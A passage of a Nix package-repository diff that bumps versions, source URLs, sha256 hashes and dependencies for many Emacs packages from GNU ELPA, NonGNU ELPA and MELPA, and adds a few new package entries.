"15m0h84fcrcxpx67mc9any4ap2dcqysfjm1d2a7sx4clx8h3mgk0"; }; packageRequires = [ emacs ]; meta = { @@ -4623,10 +4735,10 @@ elpaBuild { pname = "repology"; ename = "repology"; - version = "1.2.3"; + version = "1.2.4"; src = fetchurl { - url = "https://elpa.gnu.org/packages/repology-1.2.3.tar"; - sha256 = "1ngx23b7dilyps20nznrrn867kbxyn6nryf4p1sy5m576hkw18kn"; + url = "https://elpa.gnu.org/packages/repology-1.2.4.tar"; + sha256 = "0l53wl0bk8rnqwsjdh1hwvkvbay080l10bslcj3scn42bgbi59j1"; }; packageRequires = [ emacs ]; meta = { @@ -4668,10 +4780,10 @@ elpaBuild { pname = "rt-liberation"; ename = "rt-liberation"; - version = "5"; + version = "6"; src = fetchurl { - url = "https://elpa.gnu.org/packages/rt-liberation-5.tar"; - sha256 = "1gjj38rag3hh42xkf7qlvwn0qj45i8v30h5wgs3w2a2ccs46bpy4"; + url = "https://elpa.gnu.org/packages/rt-liberation-6.tar"; + sha256 = "1l87q2h1hqm5zpg1fz835gmbf5fgl9fvcqg42c17v6kim4has8zd"; }; packageRequires = []; meta = { @@ -5038,10 +5150,10 @@ elpaBuild { pname = "spacious-padding"; ename = "spacious-padding"; - version = "0.1.0"; + version = "0.3.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/spacious-padding-0.1.0.tar"; - sha256 = "0kc5f1p9y2gp2sb6l2vljjhi330f8zxfm7gjjvyymhf2grr61mxw"; + url = "https://elpa.gnu.org/packages/spacious-padding-0.3.0.tar"; + sha256 = "1iiaxgl18k8hkwwyz3qnargv6q8kwzyh39ai46k5xbpmyrsj4b16"; }; packageRequires = [ emacs ]; meta = { @@ -5109,16 +5221,16 @@ license = lib.licenses.free; }; }) {}; - srht = callPackage ({ elpaBuild, emacs, fetchurl, lib, plz }: + srht = callPackage ({ elpaBuild, emacs, fetchurl, lib, plz, transient }: elpaBuild { pname = "srht"; ename = "srht"; - version = "0.3"; + version = "0.4"; src = fetchurl { - url = "https://elpa.gnu.org/packages/srht-0.3.tar"; - sha256 = "03am21w1gsc1af7slsxny9ga4vqd8rbabbp4rl6mkrq46y5ak375"; + url = "https://elpa.gnu.org/packages/srht-0.4.tar"; + sha256 = "1g3znmpi0lbl0f4rp1v8v5jl7gngclwmcngkzwdk2w4prsh6skb1"; }; - packageRequires = [ emacs plz ]; + packageRequires = [ emacs plz transient ]; meta = { homepage = "https://elpa.gnu.org/packages/srht.html"; license = lib.licenses.free; @@ -5143,10 +5255,10 @@ elpaBuild { pname = "standard-themes"; ename = "standard-themes"; - version = "1.2.0"; + version = "2.0.1"; src = fetchurl { - url = "https://elpa.gnu.org/packages/standard-themes-1.2.0.tar"; - sha256 = "1prf89jk41cmd3bj51343jyz53k5bjbc871s54cqlhz3vvbgc4ww"; + url = "https://elpa.gnu.org/packages/standard-themes-2.0.1.tar"; + sha256 = "0vdl90xjqq20mw6cgmn6zd42ppr5y471g03a9ljzcpwmbd1wnr60"; }; packageRequires = [ emacs ]; meta = { @@ -5218,10 +5330,10 @@ elpaBuild { pname = "svg-lib"; ename = "svg-lib"; - version = "0.2.7"; + version = "0.3"; src = fetchurl { - url = "https://elpa.gnu.org/packages/svg-lib-0.2.7.tar"; - sha256 = "0vq7a1hh6am5a1hqc1fay4cra7944zch5m5vadwhsnqgnrylm2gw"; + url = "https://elpa.gnu.org/packages/svg-lib-0.3.tar"; + sha256 = "0d0xkfmk351h8lx28dxgync47r780nyk4fk12sb4j0byfr0lsh8d"; }; packageRequires = [ emacs ]; meta = { @@ -5358,10 +5470,10 @@ elpaBuild { pname = "taxy-magit-section"; ename = "taxy-magit-section"; - version = "0.12.2"; + version = "0.13"; src = fetchurl { - url = "https://elpa.gnu.org/packages/taxy-magit-section-0.12.2.tar"; - sha256 = "1pf83zz5ibhqqlqgcxig0dsl1rnkk5r6v16s5ngvbc37q40vkwn1"; + url = "https://elpa.gnu.org/packages/taxy-magit-section-0.13.tar"; + sha256 = "1712hbcna0ph9chaq28a6fanv4sccdiphd5z0hg34ig3g6pslgn9"; }; packageRequires = [ emacs magit-section taxy ]; meta = { @@ -5388,10 +5500,10 @@ elpaBuild { pname = "tempel"; ename = "tempel"; - version = "0.8"; + version = "1.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/tempel-0.8.tar"; - sha256 = "1ppvkwy7c31p4ibshfralwz02xnxmssf6lgikahpimrg928zcd80"; + url = "https://elpa.gnu.org/packages/tempel-1.0.tar"; + sha256 = "0k9802fby7yh5kz6slkfzpyvfa0fvs3hcfni61l2bic8pfrdxwl7"; }; packageRequires = [ compat emacs ]; meta = { @@ -5414,6 +5526,21 @@ license = lib.licenses.free; }; }) {}; + theme-buffet = callPackage ({ elpaBuild, emacs, fetchurl, lib }: + elpaBuild { + pname = "theme-buffet"; + ename = "theme-buffet"; + version = "0.1.2"; + src = fetchurl { + url = "https://elpa.gnu.org/packages/theme-buffet-0.1.2.tar"; + sha256 = "1cb9kn07naz2dkl4cznnwi2hy5ccq9igl5jnm7qhaliaszpg2rf9"; + }; + packageRequires = [ emacs ]; + meta = { + homepage = "https://elpa.gnu.org/packages/theme-buffet.html"; + license = lib.licenses.free; + }; + }) {}; timerfunctions = callPackage ({ cl-lib ? null , elpaBuild , emacs @@ -5497,10 +5624,10 @@ elpaBuild { pname = "tramp"; ename = "tramp"; - version = "2.6.1.4"; + version = "2.6.2.1"; src = fetchurl { - url = "https://elpa.gnu.org/packages/tramp-2.6.1.4.tar"; - sha256 = "1ajlx0982hx6ypby9dvw1yh9zyl1h4j9xp4n9rfzxhfvvq3139bi"; + url = "https://elpa.gnu.org/packages/tramp-2.6.2.1.tar"; + sha256 = "145riknpdvw7rvpz20m766yci3w012f241mw38pbbb9cb8pn2rbf"; }; packageRequires = [ emacs ]; meta = { @@ -5553,16 +5680,16 @@ license = lib.licenses.free; }; }) {}; - transient = callPackage ({ compat, elpaBuild, emacs, fetchurl, lib }: + transient = callPackage ({ compat, elpaBuild, emacs, fetchurl, lib, seq }: elpaBuild { pname = "transient"; ename = "transient"; - version = "0.4.3"; + version = "0.5.3"; src = fetchurl { - url = "https://elpa.gnu.org/packages/transient-0.4.3.tar"; - sha256 = "1aqw7fr5p2f1xs5pvfpmhhvh16491qvcbg40993siqkdi05w4i1j"; + url = "https://elpa.gnu.org/packages/transient-0.5.3.tar"; + sha256 = "12ak6rykg627rkwwiga5d9g9pzcrq2sliynqbr3lm8rvlwbdhkhx"; }; - packageRequires = [ compat emacs ]; + packageRequires = [ compat emacs seq ]; meta = { homepage = "https://elpa.gnu.org/packages/transient.html"; license = lib.licenses.free; @@ -5707,10 +5834,10 @@ elpaBuild { pname = "urgrep"; ename = "urgrep"; - version = "0.2.0"; + version = "0.4.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/urgrep-0.2.0.tar"; - sha256 = "1d5wzj6ygfqr9yvi7lxm4j52q0g1vsiwyana3ww6k6yni1fi9y8f"; + url = "https://elpa.gnu.org/packages/urgrep-0.4.0.tar"; + sha256 = "0l0gswml6hkna48gfljj3hajhcx3bbc1rqwb2v01hvqab05an7zs"; }; packageRequires = [ compat emacs project ]; meta = { @@ -5929,10 +6056,10 @@ elpaBuild { pname = "vertico"; ename = "vertico"; - version = "1.4"; + version = "1.7"; src = fetchurl { - url = "https://elpa.gnu.org/packages/vertico-1.4.tar"; - sha256 = "0jv4adwi18j14yjasqndsgyxgrd1jnjhwrw90hyplfii08f6gmdq"; + url = "https://elpa.gnu.org/packages/vertico-1.7.tar"; + sha256 = "1dglwscp29c5281spmrxv5k1pbvswcz5rcap6w5s97fqk5ziinsm"; }; packageRequires = [ compat emacs ]; meta = { @@ -5949,10 +6076,10 @@ elpaBuild { pname = "vertico-posframe"; ename = "vertico-posframe"; - version = "0.7.3"; + version = "0.7.7"; src = fetchurl { - url = "https://elpa.gnu.org/packages/vertico-posframe-0.7.3.tar"; - sha256 = "1gfapchkj9jkzlyz3hzkb9kpifcak0fn4y5jw6f2cs6379sjwvzm"; + url = "https://elpa.gnu.org/packages/vertico-posframe-0.7.7.tar"; + sha256 = "0xqbbqkzd2v7kqgmiwlx9pmpck2mpfwxmvy66i7dpzysvargi70q"; }; packageRequires = [ emacs posframe vertico ]; meta = { @@ -6027,10 +6154,10 @@ elpaBuild { pname = "vundo"; ename = "vundo"; - version = "2.1.0"; + version = "2.2.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/vundo-2.1.0.tar"; - sha256 = "1inm6kvh5j47nsrmq6wpf30dqmx0arzdpa6vdcn834g50i4fh8kc"; + url = "https://elpa.gnu.org/packages/vundo-2.2.0.tar"; + sha256 = "1vb5mq51krpcaw741dai3b9s12yicn73l1bqql41gylpanca83py"; }; packageRequires = [ emacs ]; meta = { @@ -6332,10 +6459,10 @@ elpaBuild { pname = "xref-union"; ename = "xref-union"; - version = "0.1.1"; + version = "0.2.0"; src = fetchurl { - url = "https://elpa.gnu.org/packages/xref-union-0.1.1.tar"; - sha256 = "1v95l4j3w3zrjmii3pz319s4jmqnfdx6np120zhc6ccgj1fawy2c"; + url = "https://elpa.gnu.org/packages/xref-union-0.2.0.tar"; + sha256 = "0kcmg9fm9gcpdxfwx7c6zz29krf69j5nh6knv2x3df65sbzwdj0b"; }; packageRequires = [ emacs ]; meta = { @@ -6343,16 +6470,16 @@ license = lib.licenses.free; }; }) {}; - yasnippet = callPackage ({ cl-lib ? null, elpaBuild, fetchurl, lib }: + yasnippet = callPackage ({ cl-lib ? null, elpaBuild, emacs, fetchurl, lib }: elpaBuild { pname = "yasnippet"; ename = "yasnippet"; - version = "0.14.0"; + version = "0.14.1"; src = fetchurl { - url = "https://elpa.gnu.org/packages/yasnippet-0.14.0.tar"; - sha256 = "1lbil3dyz43nmr2lvx9vhpybqynpb7shg7m1xl1f7j4vm4dh0r08"; + url = "https://elpa.gnu.org/packages/yasnippet-0.14.1.tar"; + sha256 = "05nc76wzc9b1a34998xx6l1wc5ss682afllf6dnl6rdj8hza65wy"; }; - packageRequires = [ cl-lib ]; + packageRequires = [ cl-lib emacs ]; meta = { homepage = "https://elpa.gnu.org/packages/yasnippet.html"; license = lib.licenses.free; diff --git a/pkgs/applications/editors/emacs/elisp-packages/elpa-packages.nix b/pkgs/applications/editors/emacs/elisp-packages/elpa-packages.nix index 112445453abb4..0b142281559a9 100644 --- a/pkgs/applications/editors/emacs/elisp-packages/elpa-packages.nix +++ b/pkgs/applications/editors/emacs/elisp-packages/elpa-packages.nix @@ -88,7 +88,7 @@ self: let ]; buildInputs = [ - pkgs.gnatcoll-xref + pkgs.gnatPackages.gnatcoll-xref ]; buildPhase = '' diff --git a/pkgs/applications/editors/emacs/elisp-packages/manual-packages.nix b/pkgs/applications/editors/emacs/elisp-packages/manual-packages.nix index 1c698809791bf..9a908039b8f5c 100644 --- a/pkgs/applications/editors/emacs/elisp-packages/manual-packages.nix +++ b/pkgs/applications/editors/emacs/elisp-packages/manual-packages.nix @@ -5,6 +5,8 @@ let inherit (self) callPackage; in { + inherit (pkgs) emacspeak; + acm = callPackage ./manual-packages/acm { }; acm-terminal = callPackage ./manual-packages/acm-terminal { }; @@ -31,8 +33,6 @@ in elisp-ffi = callPackage ./manual-packages/elisp-ffi { }; - emacspeak = callPackage ./manual-packages/emacspeak { }; - ess-R-object-popup = callPackage ./manual-packages/ess-R-object-popup { }; evil-markdown = callPackage ./manual-packages/evil-markdown { }; diff --git a/pkgs/applications/editors/emacs/elisp-packages/nongnu-generated.nix b/pkgs/applications/editors/emacs/elisp-packages/nongnu-generated.nix index 37a9e04418c65..822a2ef0773ed 100644 --- a/pkgs/applications/editors/emacs/elisp-packages/nongnu-generated.nix +++ b/pkgs/applications/editors/emacs/elisp-packages/nongnu-generated.nix @@ -291,10 +291,10 @@ elpaBuild { pname = "buttercup"; ename = "buttercup"; - version = "1.32"; + version = "1.33"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/buttercup-1.32.tar"; - sha256 = "07vxs1iq38m7ng9wia8h6q2sy4cdykv03jksqjqyqaab4cl7yl27"; + url = "https://elpa.nongnu.org/nongnu/buttercup-1.33.tar"; + sha256 = "0245fq4iny1jnm440dzkq0fadw10ncnhkj28mayqs9iyyzj9g5h4"; }; packageRequires = [ emacs ]; meta = { @@ -336,10 +336,10 @@ elpaBuild { pname = "cdlatex"; ename = "cdlatex"; - version = "4.18.3"; + version = "4.18.4"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/cdlatex-4.18.3.tar"; - sha256 = "0zz73csyjagq4vfv1fdnzwg4jhscggg3vk75kjdl78dg1ly191iz"; + url = "https://elpa.nongnu.org/nongnu/cdlatex-4.18.4.tar"; + sha256 = "0qa4wp76jykykh244an84kmlvwnsqjnc8ii38mdnd5jjnhacg11v"; }; packageRequires = []; meta = { @@ -361,10 +361,10 @@ elpaBuild { pname = "cider"; ename = "cider"; - version = "1.11.1"; + version = "1.13.1"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/cider-1.11.1.tar"; - sha256 = "1zp24p67w9wcc26s0b95idvzy1ndk35a8rabj3ckg1sgddgzh0p6"; + url = "https://elpa.nongnu.org/nongnu/cider-1.13.1.tar"; + sha256 = "0ipmhm8ggh437m72b0vf9vfmwkcfwj3yy37wldz0yyiv59y2g50p"; }; packageRequires = [ clojure-mode @@ -385,10 +385,10 @@ elpaBuild { pname = "clojure-mode"; ename = "clojure-mode"; - version = "5.18.0"; + version = "5.18.1"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/clojure-mode-5.18.0.tar"; - sha256 = "1wh1r3kdjya7aqnnm6ask9q93pxm7h6ff4b7p6lrhwg4iyn2njss"; + url = "https://elpa.nongnu.org/nongnu/clojure-mode-5.18.1.tar"; + sha256 = "1wnl10r79cc1p9a1zwyzhj9ddvc166xkmc7f04pibwxw9j4l3ppg"; }; packageRequires = [ emacs ]; meta = { @@ -667,10 +667,10 @@ elpaBuild { pname = "eat"; ename = "eat"; - version = "0.9.3"; + version = "0.9.4"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/eat-0.9.3.tar"; - sha256 = "1dck6vvyn1y94z18p1b0kh3x4i587x8x5pk5bin56vwpkw05s40d"; + url = "https://elpa.nongnu.org/nongnu/eat-0.9.4.tar"; + sha256 = "0683rni1vgq1jmmp1kjvi0fx9m5k7hh5r9b432whwnkp9gcfrb80"; }; packageRequires = [ compat emacs ]; meta = { @@ -682,10 +682,10 @@ elpaBuild { pname = "edit-indirect"; ename = "edit-indirect"; - version = "0.1.10"; + version = "0.1.13"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/edit-indirect-0.1.10.tar"; - sha256 = "0mk6s5hc8n9s5c434im6r06mfgmdf5s44zlr9j3hfkjaic1lf45b"; + url = "https://elpa.nongnu.org/nongnu/edit-indirect-0.1.13.tar"; + sha256 = "06x51lajykz6ny8q1762vhjxzvlqm2il47099hbb9wpj4vjx14q6"; }; packageRequires = [ emacs ]; meta = { @@ -798,6 +798,26 @@ license = lib.licenses.free; }; }) {}; + evil-escape = callPackage ({ cl-lib ? null + , elpaBuild + , emacs + , evil + , fetchurl + , lib }: + elpaBuild { + pname = "evil-escape"; + ename = "evil-escape"; + version = "3.16"; + src = fetchurl { + url = "https://elpa.nongnu.org/nongnu/evil-escape-3.16.tar"; + sha256 = "14289axdn3splza66wdyyvfj1hqslmqxfr63zk480cqvrn0dkpvz"; + }; + packageRequires = [ cl-lib emacs evil ]; + meta = { + homepage = "https://elpa.gnu.org/packages/evil-escape.html"; + license = lib.licenses.free; + }; + }) {}; evil-exchange = callPackage ({ cl-lib ? null , elpaBuild , evil @@ -1148,10 +1168,10 @@ elpaBuild { pname = "geiser"; ename = "geiser"; - version = "0.29.1"; + version = "0.30"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/geiser-0.29.1.tar"; - sha256 = "0k9jvnaci23swyf3zy67f9msz205d9vdm90rgidnl81w7hg8gjm4"; + url = "https://elpa.nongnu.org/nongnu/geiser-0.30.tar"; + sha256 = "0bxrxgz49xqxzbipkpnilz9lxm1wmjzhf6imkz3hq49wfp3zdaw6"; }; packageRequires = [ emacs project ]; meta = { @@ -1564,10 +1584,10 @@ elpaBuild { pname = "helm"; ename = "helm"; - version = "3.9.5"; + version = "3.9.7"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/helm-3.9.5.tar"; - sha256 = "1vsg1xflz5880h477s8hqrxinv4wdx12gdvs08zy7xbmypzwhrz1"; + url = "https://elpa.nongnu.org/nongnu/helm-3.9.7.tar"; + sha256 = "1xlaxxwv34a8lxijni4yi60g5g7mlpjq4d71p9hdcpqja7xq4igz"; }; packageRequires = [ helm-core popup wfnames ]; meta = { @@ -1579,10 +1599,10 @@ elpaBuild { pname = "helm-core"; ename = "helm-core"; - version = "3.9.5"; + version = "3.9.7"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/helm-core-3.9.5.tar"; - sha256 = "1ixbbh0zcxnkl5ry5sswgh8nw8a2hrgkw9hqzznz9wiw1avs4g9c"; + url = "https://elpa.nongnu.org/nongnu/helm-core-3.9.7.tar"; + sha256 = "125fqnj2g61lsagiwwd8fpnrp2s7mxsdppj8cfp3m6c3984fmsx0"; }; packageRequires = [ async emacs ]; meta = { @@ -1661,16 +1681,25 @@ , map , persist , plz + , taxy-magit-section , transient }: elpaBuild { pname = "hyperdrive"; ename = "hyperdrive"; - version = "0.2"; + version = "0.3"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/hyperdrive-0.2.tar"; - sha256 = "1cvsl7caprdms83mvhlv3crk4ylka1g0swg0klqld04hayzikq0z"; + url = "https://elpa.nongnu.org/nongnu/hyperdrive-0.3.tar"; + sha256 = "1q23xrq80wmh4l87rpzfp6gc671gkalvhidfichlapk507sll1y6"; }; - packageRequires = [ compat emacs map persist plz transient ]; + packageRequires = [ + compat + emacs + map + persist + plz + taxy-magit-section + transient + ]; meta = { homepage = "https://elpa.gnu.org/packages/hyperdrive.html"; license = lib.licenses.free; @@ -1749,10 +1778,10 @@ elpaBuild { pname = "inf-ruby"; ename = "inf-ruby"; - version = "2.8.0"; + version = "2.8.1"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/inf-ruby-2.8.0.tar"; - sha256 = "1ax2sab4rm5alg12n2k6bz1xwv0mi0jvxx5xmjzavjxl4x6qckxy"; + url = "https://elpa.nongnu.org/nongnu/inf-ruby-2.8.1.tar"; + sha256 = "0ghf6gaxyslkxfy8cyyglf8ldzyv9jqsyl6nz7iahfk930aiynpj"; }; packageRequires = [ emacs ]; meta = { @@ -1854,10 +1883,10 @@ elpaBuild { pname = "keycast"; ename = "keycast"; - version = "1.3.2"; + version = "1.3.3"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/keycast-1.3.2.tar"; - sha256 = "0z8q1xxx02di0788kgc4xpvl43iyknkj57l9cwf6qq6hi032c9kj"; + url = "https://elpa.nongnu.org/nongnu/keycast-1.3.3.tar"; + sha256 = "0cvya8vbbmzly1hjf5jm3n9phml4wmwy2hn4igxp8f2pg1x46049"; }; packageRequires = [ compat emacs ]; meta = { @@ -2365,6 +2394,21 @@ license = lib.licenses.free; }; }) {}; + p4-16-mode = callPackage ({ elpaBuild, fetchurl, lib }: + elpaBuild { + pname = "p4-16-mode"; + ename = "p4-16-mode"; + version = "0.3"; + src = fetchurl { + url = "https://elpa.nongnu.org/nongnu/p4-16-mode-0.3.tar"; + sha256 = "1jl8mcwpzry7lmfm486wjvvx76053pjp68p1abcrjvg4ppsmbj93"; + }; + packageRequires = []; + meta = { + homepage = "https://elpa.gnu.org/packages/p4-16-mode.html"; + license = lib.licenses.free; + }; + }) {}; package-lint = callPackage ({ cl-lib ? null , compat , elpaBuild @@ -2435,10 +2479,10 @@ elpaBuild { pname = "parseclj"; ename = "parseclj"; - version = "1.1.0"; + version = "1.1.1"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/parseclj-1.1.0.tar"; - sha256 = "0h6fia59crqb1y83a04sjlhlpm6349s6c14zsiqsfi73m97dli6p"; + url = "https://elpa.nongnu.org/nongnu/parseclj-1.1.1.tar"; + sha256 = "14xczcd7vknsqkfwlk430kd6jz8fi51jwbjpzjqkymnixma32qd6"; }; packageRequires = [ emacs ]; meta = { @@ -2450,10 +2494,10 @@ elpaBuild { pname = "parseedn"; ename = "parseedn"; - version = "1.2.0"; + version = "1.2.1"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/parseedn-1.2.0.tar"; - sha256 = "10y6mpjzxpmg029j0kysyxqqxdc82wwhkxh79sf8hz1ffks2ysmm"; + url = "https://elpa.nongnu.org/nongnu/parseedn-1.2.1.tar"; + sha256 = "039mmsmqbvvzqafhjx1grbg2620mjf6jvrj6g6mwxhy2ckll6bfg"; }; packageRequires = [ emacs map parseclj ]; meta = { @@ -2515,10 +2559,10 @@ elpaBuild { pname = "php-mode"; ename = "php-mode"; - version = "1.25.0"; + version = "1.25.1"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/php-mode-1.25.0.tar"; - sha256 = "05n53risvyzgyqr0r7v7bgd267dh30wq266mmfhj2q37v1gkfjiv"; + url = "https://elpa.nongnu.org/nongnu/php-mode-1.25.1.tar"; + sha256 = "0b8svrjzc7lrbmwib1y1nbmn6pw3w289zqbfinjak9kvma2k7njv"; }; packageRequires = [ emacs ]; meta = { @@ -2608,10 +2652,10 @@ elpaBuild { pname = "racket-mode"; ename = "racket-mode"; - version = "1.0.20231115.104415"; + version = "1.0.20240130.151349"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/racket-mode-1.0.20231115.104415.tar"; - sha256 = "01ihh66c20c2dv6apswgww8wxwn1ldqhpk70mfbgjipc9a7ykwws"; + url = "https://elpa.nongnu.org/nongnu/racket-mode-1.0.20240130.151349.tar"; + sha256 = "0hbcnr4x1931c95hpgfdny92vk8m688p8yc0ng41yv1safa0w4pl"; }; packageRequires = [ emacs ]; meta = { @@ -2668,10 +2712,10 @@ elpaBuild { pname = "reformatter"; ename = "reformatter"; - version = "0.7"; + version = "0.8"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/reformatter-0.7.tar"; - sha256 = "17y61gqljc4r66dp3qbggvpgj8wacnhv7kq4pwkpbb1h5a5l5b6z"; + url = "https://elpa.nongnu.org/nongnu/reformatter-0.8.tar"; + sha256 = "0yr0h8f53gaxnfz0dvvs9b4jqwp6p0j8xvv01g76j0map0fxkcam"; }; packageRequires = [ emacs ]; meta = { @@ -2848,16 +2892,16 @@ license = lib.licenses.free; }; }) {}; - slime = callPackage ({ cl-lib ? null, elpaBuild, fetchurl, lib, macrostep }: + slime = callPackage ({ elpaBuild, emacs, fetchurl, lib, macrostep }: elpaBuild { pname = "slime"; ename = "slime"; - version = "2.26.1"; + version = "2.29.1"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/slime-2.26.1.tar"; - sha256 = "0f7absmq0nnhhq0i8nfgn2862ydvwlqyzhcq4s6m91mn72d7dw5i"; + url = "https://elpa.nongnu.org/nongnu/slime-2.29.1.tar"; + sha256 = "1ad9m0a9rbn0gmpwdvnr1l7km833hqy43wp6q3cwv7azmj2sc1r2"; }; - packageRequires = [ cl-lib macrostep ]; + packageRequires = [ emacs macrostep ]; meta = { homepage = "https://elpa.gnu.org/packages/slime.html"; license = lib.licenses.free; @@ -2987,10 +3031,10 @@ elpaBuild { pname = "subed"; ename = "subed"; - version = "1.2.7"; + version = "1.2.11"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/subed-1.2.7.tar"; - sha256 = "1rvc17pvig3ihc74d7i25kl3lnigp0h8lh634x0676hdx38h91ib"; + url = "https://elpa.nongnu.org/nongnu/subed-1.2.11.tar"; + sha256 = "1dlh7vd8kc16wr9sqd3v7kkxfvqadi56pa52h35b86krndh4vazp"; }; packageRequires = [ emacs ]; meta = { @@ -3002,10 +3046,10 @@ elpaBuild { pname = "sweeprolog"; ename = "sweeprolog"; - version = "0.27.0"; + version = "0.27.4"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/sweeprolog-0.27.0.tar"; - sha256 = "1r0qspi9qdnsa4gm9bmxzsjyalqi14jhjx96jqw725pmhvjy9933"; + url = "https://elpa.nongnu.org/nongnu/sweeprolog-0.27.4.tar"; + sha256 = "05hky1103xays0jflyls4zxj3mbmq7ipkdhaasd868gjbky4kryf"; }; packageRequires = [ compat emacs ]; meta = { @@ -3308,10 +3352,10 @@ elpaBuild { pname = "web-mode"; ename = "web-mode"; - version = "17.3.15"; + version = "17.3.17"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/web-mode-17.3.15.tar"; - sha256 = "028p034793pkkwgaqgc3zw23ji39ss5gma5g8fhml6v8pc4ri2w8"; + url = "https://elpa.nongnu.org/nongnu/web-mode-17.3.17.tar"; + sha256 = "0a9qsffj2451ccb2gvimkwa0qp9m2n5m70zb6bzjndqgq18n7rfb"; }; packageRequires = [ emacs ]; meta = { @@ -3471,10 +3515,10 @@ elpaBuild { pname = "xah-fly-keys"; ename = "xah-fly-keys"; - version = "24.18.20231115084756"; + version = "24.20.20240120121202"; src = fetchurl { - url = "https://elpa.nongnu.org/nongnu/xah-fly-keys-24.18.20231115084756.tar"; - sha256 = "1vj8l4g4hpdvs1yvgkcy79vbf2ibhwxfgcrg1mj26qj3f9naf25s"; + url = "https://elpa.nongnu.org/nongnu/xah-fly-keys-24.20.20240120121202.tar"; + sha256 = "0v3qfn3jqq7jcbpxjajj8q51r71lf3pfmw5gddd38022szrw6ca6"; }; packageRequires = [ emacs ]; meta = { diff --git a/pkgs/applications/editors/emacs/elisp-packages/recipes-archive-melpa.json b/pkgs/applications/editors/emacs/elisp-packages/recipes-archive-melpa.json index eb98b6176fea2..80a6dbe8df78e 100644 --- a/pkgs/applications/editors/emacs/elisp-packages/recipes-archive-melpa.json +++ b/pkgs/applications/editors/emacs/elisp-packages/recipes-archive-melpa.json @@ -135,11 +135,11 @@ "repo": "skeeto/at-el", "unstable": { "version": [ - 20181225, - 1438 + 20240121, + 1413 ], - "commit": "0a6189f8be42dbbc5d9358cbd447d471236135a2", - "sha256": "11s46n3j6ij0ynxwl35wxbzg97pkmnhxh43l5vvaz9kizf6mhpbj" + "commit": "a6ba21d9eb9b311b441312057430d10e5c7bc661", + "sha256": "1k84r20i7yhrjdvv3rhj6fzl6zhffykkyrd7yhqy1rmmvl1a78yv" } }, { @@ -1082,8 +1082,8 @@ "repo": "xcwen/ac-php", "unstable": { "version": [ - 20230925, - 801 + 20240115, + 530 ], "deps": [ "dash", @@ -1093,8 +1093,8 @@ "s", "xcscope" ], - "commit": "586f4e8a46aac9236cb5af57c3f70a9878375702", - "sha256": "0jwhg52z448f4f18k32arq80hbdj3j9vshp42b4sr9v1mixv6vfc" + "commit": "4c3a9f2bab477f9e3a1615be190fd07992592fb1", + "sha256": "1yr0l7yl9zlvf6rk9vg4jbl6gllgfv4wyryn30iq21cdgxzm92kr" }, "stable": { "version": [ @@ -1278,14 +1278,14 @@ "repo": "eliascotto/accent", "unstable": { "version": [ - 20220202, - 1312 + 20240130, + 1109 ], "deps": [ "popup" ], - "commit": "fba79570247411804af34e8b4bedad73ee75fac0", - "sha256": "12vwqx3d2gib2mz00i5ghmh76g55a9bcvrl6fmbjczm3cal68bp0" + "commit": "9b02a73f3a73cc4aef73c1f2c54a2b6168b0d301", + "sha256": "1hdyhrjgvmdzj4yiwz9bl37a2smrak40a5a1cmqlm9328lvhsam8" } }, { @@ -1730,11 +1730,11 @@ "repo": "brownts/ada-ts-mode", "unstable": { "version": [ - 20231015, - 1449 + 20240117, + 1356 ], - "commit": "6aa772c4cbb08b84e1c6712c98517e4afa495e23", - "sha256": "1ff08pkirkwxcgsw4kfca5h5x7mjz3z2j3nkkz5an36awi3v35is" + "commit": "c20d6fa26ff721c1e02560f1d9f87319edff3100", + "sha256": "06rwqxsgz7y8zj7irj49x624dyp1rana289iwq752rkpcsvc640s" } }, { @@ -1852,11 +1852,11 @@ "repo": "louabill/ado-mode", "unstable": { "version": [ - 20221023, - 1422 + 20240103, + 1856 ], - "commit": "5610074e29ce08631c5210f1873938c3bcd9cbde", - "sha256": "17dlhrb74gf4bwjwvzca454ljqxhmfschv7zbgya0r1vax9vbb2i" + "commit": "dc63bf47819b3e1f2656ec5c78b2fe57244e9c0d", + "sha256": "0j4l2izi0dgbafscsvs2hdpa008dcf0answmy6rdxjad4c0wrpd3" }, "stable": { "version": [ @@ -1876,11 +1876,11 @@ "repo": "bbatsov/adoc-mode", "unstable": { "version": [ - 20230905, - 810 + 20240201, + 2055 ], - "commit": "d2af113cea92e371f8265230b7f840a285a781a8", - "sha256": "0qx7yzfw9mkslxm6l1jsaaaj76qli5rc9dskklba2ychjxc5viya" + "commit": "d4df8e1de68699fa9bc45bd4486b49f8b53985f6", + "sha256": "03vagni087iknp6lhz4xppm8vx8yahkv2wcyy299sww956wr3cyk" }, "stable": { "version": [ @@ -1900,20 +1900,20 @@ "repo": "jessieh/adwaita-dark-theme", "unstable": { "version": [ - 20231107, - 1726 + 20231209, + 1033 ], - "commit": "a97d5d5f5657a52c3b4c4b146b4d307dfb1a7a74", - "sha256": "0g8fjqmz805fhqspbzmpvb90kpzwigl4z56bkykywgy2cwb9ljzh" + "commit": "04fed0ef795bfe2482998c5b6f87c37c13fe8c50", + "sha256": "0klzdgicxfsfwg66a5lnlsfv4mpli6fikplk3qldpwz21652xsz9" }, "stable": { "version": [ 1, - 1, + 3, 0 ], - "commit": "40a375c8b86b58dddcd95e8dc654f127a6a3b910", - "sha256": 